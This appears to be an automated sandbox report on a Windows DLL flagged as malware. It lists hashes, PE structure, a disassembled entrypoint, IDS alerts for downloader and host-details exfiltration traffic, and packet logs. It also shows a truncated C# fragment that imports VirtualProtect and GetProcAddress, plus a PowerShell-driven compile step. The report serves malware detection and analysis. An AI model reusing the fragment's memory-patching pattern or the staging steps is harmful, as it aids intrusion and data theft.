Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.218597991083177
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fHO1sB0zxs7+AEszI923fHO1sb:p37Lvkmb6KzPd0WZE2Pn
MD5:	C3F1EAB4C0161326A89DF181DC635DF6
SHA1:	49A1D542B07E3BC45D98C96838239FE6C2FB50F6
SHA-256:	51F888B56BCA9CD416DD8FACCFE5C774C5AE9E7DB498390E5C09A0E7FBFB563A
SHA-512:	B2411A09BC071BC8CABA4EA3E1AB8A667A3033363A953252E82FE03022978A4A9601987FBAD369540D311FF47EEC1A5D24383773B24B18A48BB6B18534401DB5
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.0.cs"

C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.972569925595285
Encrypted:	false
SSDEEP:	48:6BpLNvhfeRPBFLvKhSJPCXumwKvV1ulXa37q:WJhfeR5dxOGlK
MD5:	E18B07BB323EAF687AEC512F10EE8326
SHA1:	CE66CA4DF822C852E6631DEB5018D127366BA463
SHA-256:	09A02F2443BBB750F8E4495687D137F0CC36D90175A9691882914E60EE59C348
SHA-512:	8622F5D1E9361F2DD2E2AB0D6BA68047D261E78C9116FFDD7987BB11B6EB78803FA30FBE75DAD10C6DF954A3F5DA09695853E3F302CCE5B5A4B5F13237BB6666
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.307591489600298
Encrypted:	false
SSDEEP:	24:KMoId3ka6Kz7E2mKax5DqBVKVrdFAMBJTH:dokka6a7E2mK2DcVKdBJj
MD5:	A13EDA823DE6039EDECFA19070763399
SHA1:	8F0C9258561D8045FEC4447AF6FB3F0B2924A707
SHA-256:	AC3E806D41723F6A89BA2A2783D593B44AAC0486869832BEF0135FD657D08EF1
SHA-512:	E96AFA8548E229FCB753002241E3C7448BC813A116977A3F01E6F9D0F16EFEB89849380026A6C476B099F87B76F783D7046FB543A4388FC9AF5341294A461E35
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	5.969378350374328
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll
File size:	112'128 bytes
MD5:	cc8bb4cccd42c5100ecbdca63ae4dc87
SHA1:	f215bb3c865776fc7cc5791c9d90d4fc15c8974b
SHA256:	31def087dfc8285bb7eca20cbb39df6181998dd0ad141de949aaf123d6c27fd3
SHA512:	0fe3507fd2ae62281c383a2881ad1726d5e698b6167fe48f4b8faebbfc65528620326a90f284e38a63c3155d826b61ba001e6d2398feae9bda1e988d9fb0fea8
SSDEEP:	3072:ctJPYfAUwG1bIaNgByg1jCgH4F1WsBeMnlwl:cYfAtG1bIaOQsm24bWWwl
TLSH:	79B35A4B62A504FBF1368378C8A34E45E7B6B8150760AF6F07A4435A1F63BD18D3EB61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'LY.c-7.c-7.c-7.(U4.f-7.(U2..-7.(U3.i-7.c-7.b-7...2.F-7...3.m-7...4.r-7.(U6.`-7.c-6.9-7...>.a-7...7.b-7.....b-7...5.b-7.Richc-7

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1800013fc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x66DEF982 [Mon Sep 9 13:34:58 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3b33a0fd02e658d9e1cdca7d0fcc3364

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F7EE4FE4867h
call 00007F7EE4FE4B64h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F7EE4FE46F4h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000EBE3h]
dec eax
mov ecx, ebx
call dword ptr [0000EBD2h]
call dword ptr [0000EBDCh]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0000EBD0h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [0000EBC4h]
test eax, eax
je 00007F7EE4FE4869h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0001970Ah]
call 00007F7EE4FE4A2Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [000197F1h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00019781h], eax
dec eax
mov eax, dword ptr [000197DAh]
dec eax
mov dword ptr [0001964Bh], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x19370	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x193c8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f000	0xf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1c000	0x1050	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0x664	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x17a50	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17910	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x250	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xeb00	0xec00	9fe23eb43cbcad6cabdf9eafbecd6cc8	False	0.5630958686440678	data	6.484254393647746	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x9b88	0x9c00	af7258ab42afc7b3c36a0446ed387bfe	False	0.4267077323717949	data	4.699223027204497	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x1ca8	0xc00	af46192a71fd8a69989b5851533731e7	False	0.14225260416666666	data	2.0418830550419096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1c000	0x1050	0x1200	f0cce2aebb958d7285860ee3522105aa	False	0.4320746527777778	data	4.53353806453801	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1e000	0x1f4	0x200	4ab83cc1ce28301b416d0dd0254e20a6	False	0.5234375	data	3.7086617662342007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1f000	0xf8	0x200	ca220b4e602307c00e829209b4722123	False	0.3359375	data	2.5249599901333757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0x664	0x800	37e12b9713770c777edb6bf775fef47a	False	0.4990234375	data	4.880231318845951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x1f060	0x91	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.8689655172413793

Imports

DLL

Import

KERNEL32.dll

WinExec, WriteConsoleW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, InterlockedFlushSList, RtlPcToFileHeader, RaiseException, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, HeapSize, HeapReAlloc, SetStdHandle, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, CloseHandle

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x180001000

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-16T08:22:17.980666+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	104.18.111.161	80	TCP
2024-09-16T08:22:17.984304+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49706	104.18.111.161	80	TCP
2024-09-16T08:22:17.992015+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	104.18.111.161	80	TCP
2024-09-16T08:22:17.993198+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49707	104.18.111.161	80	TCP
2024-09-16T08:22:27.760940+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49716	162.159.138.232	443	TCP
2024-09-16T08:22:27.771101+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49719	162.159.138.232	443	TCP
2024-09-16T08:22:27.781388+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49717	162.159.138.232	443	TCP
2024-09-16T08:22:27.833416+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49718	162.159.138.232	443	TCP
2024-09-16T08:23:06.692029+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49742	172.67.19.24	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 16, 2024 08:22:15.950912952 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.953882933 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.956422091 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.956532001 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.956599951 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.959428072 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.959587097 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.959638119 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.961441994 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.961776018 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.962363958 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.962502003 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.964507103 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.964582920 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.965769053 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.967088938 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:15.970833063 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.970856905 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.975344896 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:15.975867987 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565520048 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565566063 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565622091 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565654993 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565685034 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565713882 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.565718889 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.565748930 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.565803051 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.566400051 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.566431046 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.566479921 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.566490889 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.566507101 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.566534996 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.566543102 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.566561937 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:16.566622019 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.566623926 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.566623926 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:16.639266014 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.639309883 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.639381886 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.639847040 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.639909029 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.639982939 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.641483068 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.641505003 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.641702890 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.643286943 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.643296957 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.643371105 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.706789017 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.706810951 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.820158958 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.820185900 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.822448969 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.822465897 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:16.824331999 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:16.824364901 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.181261063 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.181339025 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.184331894 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.184345007 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.184690952 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.221724033 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.263406992 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.282651901 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.282742023 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.285263062 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.285275936 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.285674095 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.291277885 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.291354895 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.293378115 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.293396950 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.293632030 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.296397924 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.298269987 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.298353910 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.302196980 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.302203894 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.303114891 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.303853989 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.313317060 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.339440107 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.347404957 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.355403900 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813232899 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813311100 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813378096 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.813451052 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813471079 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813718081 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813750982 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.813776970 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.813808918 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.834116936 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.834300041 CEST	443	49710	104.20.3.235	192.168.2.5
Sep 16, 2024 08:22:17.834353924 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.840229988 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.841851950 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.858079910 CEST	49710	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.860482931 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.860667944 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.865268946 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.865416050 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.866533995 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 08:22:17.870709896 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.874104977 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.875461102 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.878896952 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.980525970 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.980540991 CEST	80	49704	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.980665922 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.984237909 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.984255075 CEST	80	49706	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.984303951 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.988852978 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.988872051 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.988895893 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.988956928 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.989047050 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.989057064 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.989387989 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.989398003 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.989407063 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.989449978 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.991894960 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.991914034 CEST	80	49705	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.992014885 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.992738008 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.992748976 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.992907047 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.992928028 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.992957115 CEST	80	49707	104.18.111.161	192.168.2.5
Sep 16, 2024 08:22:17.993158102 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.993170977 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.993197918 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:17.993988991 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.994010925 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:17.994215965 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.994354963 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:17.994378090 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.455802917 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.455964088 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.458591938 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.459002972 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.459022999 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.459033966 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.459058046 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.459150076 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.459436893 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.461205006 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.461205006 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.461215019 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.461231947 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.461560011 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.461626053 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.462351084 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.462562084 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.463166952 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.473992109 CEST	443	49715	185.199.109.133	192.168.2.5
